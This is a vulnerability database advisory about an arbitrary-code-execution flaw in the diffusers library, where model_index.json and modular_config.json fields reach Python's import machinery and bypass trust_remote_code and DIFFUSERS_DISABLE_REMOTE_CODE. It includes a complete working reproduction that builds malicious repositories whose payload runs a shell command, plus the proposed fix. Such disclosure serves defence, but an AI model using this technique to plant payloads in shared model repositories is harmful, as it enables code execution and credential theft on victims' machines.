
Cloud Vulnerability DB
A community-led vulnerabilities database
Two fields in a model repository are used as Python module paths and passed to the import machinery unvalidated, so a .py file shipped in that repository executes on a default-argument from_pretrained().
model_index.json / modular_model_index.json → component ["<library>", "<class>"], element [0] → importlib.import_module() — pipelines/pipeline_loading_utils.py:433 (same sink at :390, :351)modular_config.json → "requirements" dict keys → importlib.util.find_spec() — utils/import_utils.py:63, via modular_pipelines/modular_pipeline_utils.py:1013trust_remote_code=False and DIFFUSERS_DISABLE_REMOTE_CODE=1 stop neither. No weights, no pickle, no auto_map.
Two separate patch points: fixing one leaves the other live.
Version: 0.41.0 (clean pip install diffusers==0.41.0); also main @ 916a5791e.
Entry points: DiffusionPipeline.from_pretrained, AutoModel.from_pretrained, ModularPipeline.from_pretrained, ModularPipelineBlocks.from_pretrained — all with default arguments.
Precondition: the repository directory must be importable from a sys.path root. True when the victim does git clone / hf download --local-dir and runs a script from the parent directory. Not reachable on a cold Hub-id load; PYTHONSAFEPATH=1 blocks it.
Sink 1 — pipelines/pipeline_loading_utils.py:422-433. Three sibling branches consume the same artifact-supplied library_name; the middle one gates it, the else imports it:
elif component_folder and os.path.isfile(os.path.join(component_folder, library_name + ".py")):
class_obj = get_class_from_dynamic_module(
component_folder, module_file=library_name + ".py",
class_name=class_name, trust_remote_code=trust_remote_code, # gated
)
else:
library = importlib.import_module(library_name) # :433 — not gatedSame payload at <component>/mycustom.py is refused naming trust_remote_code; moved one directory up with a dotted name in the same JSON field, it executes.
The allow-list for this field already exists in the same file (LOADABLE_CLASSES, :70-89) and is already applied to it at :1062-1064 — but only inside DiffusionPipeline.download, so the local-directory branch and the newer entry points never inherit it.
Sink 2 — modular_pipelines/modular_pipeline.py:497-513. The gate's own trigger is read from the attacker's file, so it is False and the gate never fires; the sink runs five lines earlier:
config = cls.load_config(pretrained_model_name_or_path, **hub_kwargs)
has_remote_code = "auto_map" in config and cls.__name__ in config["auto_map"] # False — no auto_map shipped
trust_remote_code = resolve_trust_remote_code(..., has_remote_code) # returns False, no raise
if "requirements" in config and config["requirements"] is not None:
_ = _validate_requirements(config["requirements"]) # <-- executes here
class_ref = config["auto_map"][cls.__name__] # KeyError: 'auto_map'
block_cls = get_class_from_dynamic_module(..., trust_remote_code=...) # real gate, never reached_validate_requirements strips whitespace and nothing else (modular_pipeline_utils.py:1051), then calls find_spec. find_spec("a.b.c") imports every parent, so a key one component deeper than the attacker's package runs that package's __init__.py.
Fix:
library_name against LOADABLE_CLASSES / diffusers.pipelines immediately before each of the three importlib.import_module calls.requirements keys with importlib.metadata instead of importlib.util.find_spec, so an artifact-derived name never reaches the import system. A PEP 503 name check alone is not enough — evilrepo.evilpkg.anything is a legal distribution name.
Both implemented and verified here; happy to open a PR.Runs on a clean install. Both sinks, kill switch deliberately ON.
python3 -m venv v
v/bin/pip install "diffusers==0.41.0" torch transformers safetensors
mkdir repro && cd repro
PAYLOAD='import os, subprocess
open(os.environ["M"], "a").write("EXECUTED %s | DIFFUSERS_DISABLE_REMOTE_CODE=%r | id: %s\n" % (
__name__, os.environ.get("DIFFUSERS_DISABLE_REMOTE_CODE"),
subprocess.run(["/bin/sh","-c","id"], capture_output=True, text=True).stdout.strip()))'
# sink 1: model_index.json component "library" -> importlib.import_module
mkdir -p evilrepo/unet
printf '%s\n' "$PAYLOAD" > evilrepo/payload.py
cat > evilrepo/model_index.json <<'EOF'
{"_class_name": "StableDiffusionPipeline", "_diffusers_version": "0.41.0",
"unet": ["evilrepo.payload", "UNet2DConditionModel"]}
EOF
echo '{"_class_name": "UNet2DConditionModel"}' > evilrepo/unet/config.json
# sink 2: modular_config.json "requirements" KEY -> importlib.util.find_spec
mkdir -p evilrepoB/evilpkg
printf '%s\n' "$PAYLOAD" > evilrepoB/evilpkg/__init__.py
cat > evilrepoB/modular_config.json <<'EOF'
{"_class_name": "SequentialPipelineBlocks", "_diffusers_version": "0.41.0",
"requirements": {"evilrepoB.evilpkg.anything": ">=1.0"}}
EOF
M=/tmp/ace_A HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers import DiffusionPipeline
try: DiffusionPipeline.from_pretrained('evilrepo')
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_A
M=/tmp/ace_B HF_HUB_OFFLINE=1 DIFFUSERS_DISABLE_REMOTE_CODE=1 ../v/bin/python -c "
from diffusers.modular_pipelines import ModularPipelineBlocks
try: ModularPipelineBlocks.from_pretrained('./evilrepoB', trust_remote_code=False)
except Exception as e: print('victim saw:', type(e).__name__, str(e)[:110])"
cat /tmp/ace_BOutput, on diffusers 0.41.0 / torch 2.14.1 / transformers 5.20.1 / huggingface_hub 1.33.0 / CPython 3.12.13 / macOS arm64, 2026-10-17:
=== sink 1 ===
victim saw: AttributeError module 'evilrepo.payload' has no attribute 'UNet2DConditionModel'
EXECUTED evilrepo.payload | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...
=== sink 2 ===
Downloading remote code is disabled globally via the DIFFUSERS_DISABLE_REMOTE_CODE environment variable. Ignoring `trust_remote_code`.
evilrepoB.evilpkg.anything was specified in the requirements but wasn't found in the current environment.
victim saw: KeyError 'auto_map'
EXECUTED evilrepoB.evilpkg | DIFFUSERS_DISABLE_REMOTE_CODE='1' | id: uid=501(...) gid=20(staff) ...The exception arrives after the module body has run — it is the load failing on the attacker's class, not a refusal. Via ModularPipeline.from_pretrained, sink 1 returns normally with no exception or warning.
Arbitrary code execution as the victim's uid, at from_pretrained() time, before any weight is read. The payload ran /bin/sh -c id and the output is in the evidence above — so: the HF token in ~/.cache/huggingface, read/write on the victim's source tree and model cache, outbound network, persistence.
The victim is anyone who clones or --local-dir downloads a community pipeline and runs a script from that working tree. They get this with trust_remote_code at its default or explicitly False, with DIFFUSERS_DISABLE_REMOTE_CODE=1 set, and with no weights loaded at all — so use_safetensors=True and a pinned revision are not in the path either.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."